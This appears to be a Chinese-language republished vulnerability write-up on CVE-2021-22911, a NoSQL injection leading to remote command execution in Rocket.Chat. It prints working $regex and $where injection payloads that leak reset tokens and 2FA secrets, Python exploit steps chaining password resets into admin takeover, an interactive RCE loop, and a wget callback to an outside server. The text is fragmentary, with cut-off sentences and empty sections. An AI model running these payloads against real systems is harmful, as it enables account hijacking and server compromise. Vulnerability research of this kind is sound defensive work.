时间:2021年7月28日
0x01 简述
{"_id":"1"}
。由于对用户的输入没有进行严格的检查,攻击者可以通过将查询语句从原来的字符串变为恶意的对象,例如{"_id":{"$ne":1}}
即可查询 _id 值不等于 1 的数据。影响版本
漏洞影响面
app:"Rocket.Chat"
CVE
编号:CVE-2021-22911
也可以关联出ZoomEye dork
0x02 复现
0x03 漏洞分析
getPasswordPolicy(params) {
const user = Users.findOne({ 'services.password.reset.token': params.token });
if (!user && !Meteor.userId()) {
throw new Meteor.Error('error-invalid-user', 'Invalid user', {
method: 'getPasswordPolicy',
});
}
return passwordPolicy.getPasswordPolicy();
}
{'$regex':'^A'}
,例如下面这个例子意为查找一处 token 是以大写字母 A 为开头的数据。通过这个漏洞就可以逐字符的爆破修改密码所需的 token。Users.findOne({
'services.password.reset.token': {
'$regex': '^A'
}
})
API.v1.addRoute('users.list', { authRequired: true }, {
get() {
// ...
const { sort, fields, query } = this.parseJsonQuery();
const users = Users.find(query, {/*...*/}).fetch();
return API.v1.success({
users,
// ...
});
},
});
{ $where: <string|JavaScript Code> }
,因此攻击者可以注入 JavaScript 代码,通过将搜索的结果以报错的形式输出。光说可能难以理解,通过一个例子就能很好地说明了。{"$where":"this.username==='admin' && (()=>{ throw this.secret })()"}
,就会构成下面这样的查询语句,意为查询 username 为 admin 的用户并将他的信息通过报错输出。Users.find(
{
"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"
},
{/*...*/}
).fetch();
0x04 漏洞利用
# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token through blind nosql injection
token = resettoken(target)
## Changing Password
changingpassword(target,token)
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
def twofactor(url,email):
# Authenticating
# ...
print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d'admin'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
{
"_id" : "x",
...
"services" : {
"password" : {
...
},
...,
"emails" : [ {
"address" : "[email protected]",
"verified" : true
} ],
"roles" : [ "admin" ],
"name" : "username",
...
}
{"roles":[""]}
,通过{"$where":"this.roles.indexOf('admin')>=0"}
来查询管理员账号的信息,随后便可获取管理员的 username。
## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
.meteor/local/build/programs/server/packages/accounts-password.js line 1016
resetPassword: function () {
// ...
try {
// Update the user record by:
// - Changing the password to the new one
// - Forgetting about the reset token that was just used
// - Verifying their email, since they got the password reset via email.
const affectedRecords = Meteor.users.update({
'services.password.reset.token': token
}, {
$unset: {
'services.password.reset': 1,
}
});
}
}
Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {
const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);
## Authenticating and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)
wget HTTP服务器地址/${random_str}
,如果 HTTP 服务器收到了路由为 /${random_str}
的请求,则证明该服务存在漏洞。0x05 后记
0x06 防护方案
0x07 相关链接
往 期 热 门
(点击图片跳转)
加密固件之依据老固件进行解密
D-Link DIR 3040 从信息泄露到 RCE
VPN 原理以及实现
本文始发于微信公众号(Seebug漏洞平台):Rocket.Chat 远程命令执行漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论